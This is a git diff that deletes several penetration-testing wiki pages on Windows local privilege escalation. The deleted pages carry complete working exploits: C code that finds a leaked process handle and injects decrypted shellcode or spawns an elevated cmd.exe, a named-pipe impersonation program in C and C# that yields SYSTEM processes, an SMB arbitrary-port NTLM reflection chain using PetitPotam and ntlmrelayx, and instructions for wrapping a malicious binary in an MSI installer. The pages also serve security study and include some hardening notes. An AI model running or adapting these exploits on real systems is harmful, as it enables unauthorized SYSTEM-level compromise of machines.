-> In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
-
-In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\
-The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed (an accessible open process handle is found) , it try to **inject and execute a shellcode abusing the handle of the process**.\
-The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode).
-
-```c
-#include <windows.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <wincrypt.h>
-#include <psapi.h>
-#include <tchar.h>
-#include <tlhelp32.h>
-#include "client.h"
-#pragma comment (lib, "crypt32.lib")
-#pragma comment (lib, "advapi32")
-#pragma comment (lib, "kernel32")
-
-
-int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
-        HCRYPTPROV hProv;
-        HCRYPTHASH hHash;
-        HCRYPTKEY hKey;
-
-        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
-                return -1;
-        }
-        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
-                return -1;
-        }
-        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
-                return -1;
-        }
-        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
-                return -1;
-        }
-
-        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
-                return -1;
-        }
-
-        CryptReleaseContext(hProv, 0);
-        CryptDestroyHash(hHash);
-        CryptDestroyKey(hKey);
-
-        return 0;
-}
-
-
-HANDLE GetVulnProcHandle(void) {
-
-	ULONG handleInfoSize = 0x10000;
-    NTSTATUS status;
-    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
-	HANDLE hProc = NULL;
-	POBJECT_TYPE_INFORMATION objectTypeInfo;
-	PVOID objectNameInfo;
-	UNICODE_STRING objectName;
-    ULONG returnLength;
-    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
-    DWORD dwOwnPID = GetCurrentProcessId();
-
-    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
-    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
-    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
-    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
-    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
-
-    printf("[+] Grabbing handles...");
-
-    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
-											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
-        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
-
-    if (status != STATUS_SUCCESS)
-    {
-        printf("[!] NtQuerySystemInformation failed!\n");
-        return 0;
-    }
-
-    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
-
-    // iterate handles until we find the privileged process handle
-    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
-    {
-        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
-
-        // Check if this handle belongs to our own process
-        if (handle.UniqueProcessId != dwOwnPID)
-            continue;
-
-        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
-        if (pNtQueryObject( (HANDLE) handle.HandleValue,
-						ObjectTypeInformation,
-						objectTypeInfo,
-						0x1000,
-						NULL ) != STATUS_SUCCESS)
-            continue;
-
-		// skip some objects to avoid getting stuck
-		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
-        if (handle.GrantedAccess == 0x0012019f
-			&& handle.GrantedAccess != 0x00120189
-			&& handle.GrantedAccess != 0x120089
-			&& handle.GrantedAccess != 0x1A019F ) {
-            free(objectTypeInfo);
-            continue;
-        }
-
-		// get object name information
-        objectNameInfo = malloc(0x1000);
-        if (pNtQueryObject( (HANDLE) handle.HandleValue,
-						ObjectNameInformation,
-						objectNameInfo,
-						0x1000,
-						&returnLength ) != STATUS_SUCCESS) {
-
-			// adjust the size of a returned object and query again
-			objectNameInfo = realloc(objectNameInfo, returnLength);
-            if (pNtQueryObject( (HANDLE) handle.HandleValue,
-							ObjectNameInformation,
-							objectNameInfo,
-							returnLength,
-							NULL ) != STATUS_SUCCESS) {
-                free(objectTypeInfo);
-                free(objectNameInfo);
-                continue;
-            }
-        }
-
-        // check if we've got a process object
-        objectName = *(PUNICODE_STRING) objectNameInfo;
-        UNICODE_STRING pProcess;
-
-        pRtlInitUnicodeString(&pProcess, L"Process");
-        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
-            printf("[+] Found process handle (%x)\n", handle.HandleValue);
-            hProc = (HANDLE) handle.HandleValue;
-			free(objectTypeInfo);
-			free(objectNameInfo);
-			break;
-        }
-        else
-            continue;
-
-        free(objectTypeInfo);
-        free(objectNameInfo);
-    }
-
-	return hProc;
-}
-
-int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
-
-	LPVOID pRemoteCode = NULL;
-    HANDLE hThread = NULL;
-	BOOL bStatus = FALSE;
-
-	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
-	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
-	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
-
-	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
-	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
-
-    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
-	if (bStatus != FALSE) {
-			WaitForSingleObject(hThread, -1);
-			CloseHandle(hThread);
-			return 0;
-	}
-	else
-		return -1;
-}
-
-int main(int argc, char **argv) {
-
-	int pid = 0;
-	HANDLE hProc = NULL;
-
-	// AES encrypted shellcode spawning notepad.exe (ExitThread)
-	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
-	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
-	unsigned int payload_len = sizeof(payload);
-
-	printf("My PID: %d\n", GetCurrentProcessId());
-	getchar();
-
-	// find a leaked handle to a process
-	hProc = GetVulnProcHandle();
-
-	if ( hProc != NULL) {
-
-		// d#Decrypt payload
-		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
-		printf("[+] Sending gift...");
-		// Inject and run the payload in the privileged context
-		Inject(hProc, payload, payload_len);
-		printf("done.\n");
-	}
-	getchar();
-
-    return 0;
-}
-```
-
-### Exploit Example 2
-
-> [!TIP]
-> In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
-
-In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.
-
-Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing `cmd.exe`** will have the same token privilege as the open handle process**.
-
-```c
-#include <windows.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <wincrypt.h>
-#include <psapi.h>
-#include <tchar.h>
-#include <tlhelp32.h>
-#include "client.h"
-#pragma comment (lib, "crypt32.lib")
-#pragma comment (lib, "advapi32")
-#pragma comment (lib, "kernel32")
-
-
-HANDLE GetVulnProcHandle(void) {
-
-	ULONG handleInfoSize = 0x10000;
-    NTSTATUS status;
-    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
-	HANDLE hProc = NULL;
-	POBJECT_TYPE_INFORMATION objectTypeInfo;
-	PVOID objectNameInfo;
-	UNICODE_STRING objectName;
-    ULONG returnLength;
-    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
-    DWORD dwOwnPID = GetCurrentProcessId();
-
-    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
-    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
-    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
-    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
-    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
-
-    printf("[+] Grabbing handles...");
-
-    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
-											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
-        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
-
-    if (status != STATUS_SUCCESS)
-    {
-        printf("[!] NtQuerySystemInformation failed!\n");
-        return 0;
-    }
-
-    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
-
-    // iterate handles until we find the privileged process handle
-    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
-    {
-        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
-
-        // Check if this handle belongs to our own process
-        if (handle.UniqueProcessId != dwOwnPID)
-            continue;
-
-        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
-        if (pNtQueryObject( (HANDLE) handle.HandleValue,
-						ObjectTypeInformation,
-						objectTypeInfo,
-						0x1000,
-						NULL ) != STATUS_SUCCESS)
-            continue;
-
-		// skip some objects to avoid getting stuck
-		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
-        if (handle.GrantedAccess == 0x0012019f
-			&& handle.GrantedAccess != 0x00120189
-			&& handle.GrantedAccess != 0x120089
-			&& handle.GrantedAccess != 0x1A019F ) {
-            free(objectTypeInfo);
-            continue;
-        }
-
-		// get object name information
-        objectNameInfo = malloc(0x1000);
-        if (pNtQueryObject( (HANDLE) handle.HandleValue,
-						ObjectNameInformation,
-						objectNameInfo,
-						0x1000,
-						&returnLength ) != STATUS_SUCCESS) {
-
-			// adjust the size of a returned object and query again
-			objectNameInfo = realloc(objectNameInfo, returnLength);
-            if (pNtQueryObject( (HANDLE) handle.HandleValue,
-							ObjectNameInformation,
-							objectNameInfo,
-							returnLength,
-							NULL ) != STATUS_SUCCESS) {
-                free(objectTypeInfo);
-                free(objectNameInfo);
-                continue;
-            }
-        }
-
-        // check if we've got a process object
-        objectName = *(PUNICODE_STRING) objectNameInfo;
-        UNICODE_STRING pProcess;
-
-        pRtlInitUnicodeString(&pProcess, L"Process");
-        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
-            printf("[+] Found process handle (%x)\n", handle.HandleValue);
-            hProc = (HANDLE) handle.HandleValue;
-			free(objectTypeInfo);
-			free(objectNameInfo);
-			break;
-        }
-        else
-            continue;
-
-        free(objectTypeInfo);
-        free(objectNameInfo);
-    }
-
-	return hProc;
-}
-
-
-int main(int argc, char **argv) {
-
-	HANDLE hProc = NULL;
-    STARTUPINFOEXA si;
-    PROCESS_INFORMATION pi;
-	int pid = 0;
-	SIZE_T size;
-	BOOL ret;
-
-	Sleep(20000);
-	// find leaked process handle
-	hProc = GetVulnProcHandle();
-
-	if ( hProc != NULL) {
-
-		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
-		ZeroMemory(&si, sizeof(STARTUPINFOEXA));
-
-		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
-		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
-
-		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
-		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
-
-		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
-
-		// Spawn elevated cmd process
-		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
-			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
-
-		if (ret == FALSE) {
-			printf("[!] Error spawning new process: [%d]\n", GetLastError());
-			return -1;
-		}
-	}
-
-	Sleep(20000);
-    return 0;
-}
-```
-
-## Other tools and examples
-
-- [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
-
-This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.
-
-- [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
-
-Another tool to leak a handle and exploit it.
-
-## References
-
-- [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
-- [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
-- [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port.md b/src/windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port.md
deleted file mode 100644
index 09490bf3dfe..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port.md
+++ /dev/null
@@ -1,110 +0,0 @@
-# Local NTLM Reflection via SMB Arbitrary Port
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Recent Windows builds introduced **SMB client support for alternative TCP ports**. That feature can be abused to turn **local NTLM authentication** into a **SYSTEM local privilege escalation** when the attacker can:
-
-1. Open an SMB connection to an attacker-controlled listener on a **non-445 port**
-2. Keep that TCP connection alive
-3. Coerce a **privileged local client** to access the **same SMB share path**
-4. Relay the resulting **local NTLM authentication** back to the machine's real SMB service
-
-This is the primitive behind **CVE-2026-24294**, patched in **March 2026**.
-
-## Why it works
-
-The older CMTI / serialized-SPN reflection trick is covered here:
-
-{{#ref}}
-../ntlm/README.md
-{{#endref}}
-
-This newer variant does **not** need a marshalled hostname. Instead it abuses two SMB client behaviours:
-
-- **Alternative port support** on **Windows 11 24H2** and **Windows Server 2025**, exposed to users with `net use \\host\share /tcpport:<port>`
-- **SMB connection reuse / multiplexing**, where multiple authenticated sessions can ride the same TCP connection
-
-That means a low-privileged user can first create a TCP connection from the SMB client to an attacker SMB server on a high port, then coerce a privileged service to access the **exact same UNC path**. If Windows decides to reuse the existing TCP connection, the privileged NTLM exchange is sent over the attacker-controlled transport and can be relayed to the local SMB server.
-
-## Preconditions
-
-- Target supports SMB alternative ports:
-  - **Windows 11 24H2** or later
-  - **Windows Server 2025** or later
-- The attacker can run a local or remote SMB server on a chosen high port
-- The attacker can coerce a privileged service to access a UNC path
-- The privileged authentication must be **NTLM local authentication**
-- The target must be relayable:
-  - Synacktiv reported it worked by default on **Windows Server 2025**
-  - Their chain did **not** work on **Windows 11 24H2** because outbound SMB signing is enforced there by default
-
-## Userland and internals
-
-From the command line the feature looks simple:
-
-```cmd
-net use \\192.168.56.3\share /tcpport:12345
-```
-
-Programmatically, the client uses `WNetAddConnection4W` with undocumented `lpUseOptions` data. The relevant option is `TraP` (transport parameters), which eventually reaches the kernel SMB client through an FSCTL and is parsed by `mrxsmb`.
-
-Important practical notes:
-
-- **UNC syntax still has no port field**
-- **`net use` is per-logon-session**
-- The bypass still works because **the TCP connection and the SMB session are separate objects**
-- Reusing the **same share path** is mandatory if the exploit depends on the SMB client reusing the previously created TCP connection
-
-## Exploitation flow
-
-### 1. Create the attacker-controlled SMB transport
-
-Run an SMB server on a high port and make Windows connect to it:
-
-```cmd
-net use \\192.168.56.3\share /tcpport:12345
-```
-
-The server can accept any credential pair you control, for example `user:user`. The goal of this step is not privilege escalation yet, only to make the Windows SMB client open and keep a reusable TCP connection to your listener.
-
-### 2. Coerce a privileged service to the same UNC path
-
-Use a coercion primitive such as **PetitPotam** against the **same** `\\192.168.56.3\share` path. If the coerced client is privileged and the target name is local (`localhost` or a local IP/host), Windows performs **NTLM local authentication**.
-
-Because the TCP connection is reused, that privileged NTLM exchange travels to the attacker SMB service instead of directly to the real local SMB server.
-
-### 3. Relay the privileged authentication back to local SMB
-
-The attacker-controlled SMB service forwards the privileged NTLM exchange to `ntlmrelayx.py`, which relays it to the machine's real SMB listener and obtains a session as `NT AUTHORITY\SYSTEM`.
-
-Typical tooling from the public writeup:
-
-- `smbserver.py` on a custom port to receive the privileged auth over the reused TCP connection
-- `ntlmrelayx.py` to relay the captured NTLM to local SMB
-- `PetitPotam.exe` or another coercion primitive to force the privileged authentication
-
-## Operator notes
-
-- This is a **local privilege escalation** technique, not a generic remote relay trick
-- The attacker-controlled SMB service must handle the privileged authentication on the **same TCP connection** originally used for the share mount
-- If the coerced access hits a **different share path**, Windows may establish a different connection and the chain breaks
-- SMB signing requirements can kill the relay even when the arbitrary-port step works
-- If you only have Kerberos material or cannot force local NTLM, this exact variant is not enough
-
-## Detection and hardening
-
-- Patch **CVE-2026-24294** from **March 2026 Patch Tuesday**
-- Watch for `net use` or `New-SmbMapping` using **non-default SMB ports**
-- Alert on unusual outbound SMB from workstations or servers to **high TCP ports**
-- Review coercion opportunities such as **EFSRPC / PetitPotam-style** triggers
-- Enforce SMB signing where possible; Synacktiv specifically notes this blocked their relay on Windows 11 24H2
-
-## References
-
-- [Synacktiv - Bypassing Windows authentication reflection mitigations for SYSTEM shells - Part 1](https://www.synacktiv.com/en/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1.html)
-- [Microsoft Learn - Configure alternative SMB ports for Windows Server 2025](https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-ports)
-- [Microsoft Learn - WNetAddConnection4W](https://learn.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection4w)
-- [Project Zero - Windows Exploitation Tricks: Trapping Virtual Memory Access (2025 Update)](https://projectzero.google/2025/01/windows-exploitation-tricks-trapping.html)
-- [MSRC - CVE-2026-24294](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
deleted file mode 100644
index 0bb3b0fffd6..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# MSI Wrapper
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Download the free version app from [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), execute it and wrap the "malicious" binary on it.\
-Note that you can wrap a "**.bat**" if you **just** want to **execute** **command lines (instead of cmd.exe select the .bat file)**
-
-![MSI Wrapper: Note that you can wrap a " .bat " if you just want to execute command lines (instead of cmd.exe select the .bat file)](<../../images/image (417).png>)
-
-And this is the most important part of the configuration:
-
-![MSI Wrapper: And this is the most important part of the configuration](<../../images/image (312).png>)
-
-![MSI Wrapper: And this is the most important part of the configuration](<../../images/image (346).png>)
-
-![MSI Wrapper: And this is the most important part of the configuration](<../../images/image (1072).png>)
-
-(Please, note that if you try to pack your own binary you will be able to modify these values)
-
-From here just click on **next buttons** and the last **build button and your installer/wrapper will be generated.**
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
deleted file mode 100644
index afab790bdb9..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
+++ /dev/null
@@ -1,192 +0,0 @@
-# Named Pipe Client Impersonation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).
-
-This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
-
-## TL;DR
-- Create a named pipe: \\.\pipe\<random> and wait for a connection.
-- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
-- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
-- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
-
-## Requirements and key APIs
-- Privileges typically needed by the calling process/thread:
-  - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
-  - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
-- Core APIs used:
-  - CreateNamedPipe / ConnectNamedPipe
-  - ReadFile/WriteFile (must read at least one message before impersonation)
-  - ImpersonateNamedPipeClient and RevertToSelf
-  - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
-  - CreateProcessWithTokenW or CreateProcessAsUser
-- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.
-
-## Minimal Win32 workflow (C)
-```c
-// Minimal skeleton (no error handling hardening for brevity)
-#include <windows.h>
-#include <stdio.h>
-
-int main(void) {
-    LPCSTR pipe = "\\\\.\\pipe\\evil";
-    HANDLE hPipe = CreateNamedPipeA(
-        pipe,
-        PIPE_ACCESS_DUPLEX,
-        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
-        1, 0, 0, 0, NULL);
-
-    if (hPipe == INVALID_HANDLE_VALUE) return 1;
-
-    // Wait for privileged client to connect (see Triggers section)
-    if (!ConnectNamedPipe(hPipe, NULL)) return 2;
-
-    // Read at least one message before impersonation
-    char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
-
-    // Impersonate the last message sender
-    if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
-
-    // Extract and duplicate the impersonation token into a primary token
-    HANDLE impTok = NULL, priTok = NULL;
-    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
-    if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
-
-    // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
-    STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
-    if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
-                                 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
-                                 0, NULL, NULL, &si, &pi)) {
-        // Fallback: CreateProcessAsUser after you already impersonated SYSTEM
-        CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
-                             NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
-    }
-
-    RevertToSelf(); // Restore original context
-    return 0;
-}
-```
-Notes:
-- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
-- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
-
-## .NET quick example
-In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
-```csharp
-using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
-class P {
-  [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
-  [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
-  [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
-  static void Main(){
-    using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
-    s.WaitForConnection();
-    // Ensure client sent something so the token is available
-    s.RunAsClient(() => {
-      IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
-      IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
-      var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
-      Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
-    });
-  }
-}
-```
-
-## Common triggers/coercions to get SYSTEM to your pipe
-These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
-- Print Spooler RPC trigger (PrintSpoofer)
-- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
-- EFSRPC pipes (EfsPotato/SharpEfsPotato)
-
-See detailed usage and compatibility here:
-
--
-{{#ref}}
-roguepotato-and-printspoofer.md
-{{#endref}}
--
-{{#ref}}
-juicypotato.md
-{{#endref}}
-
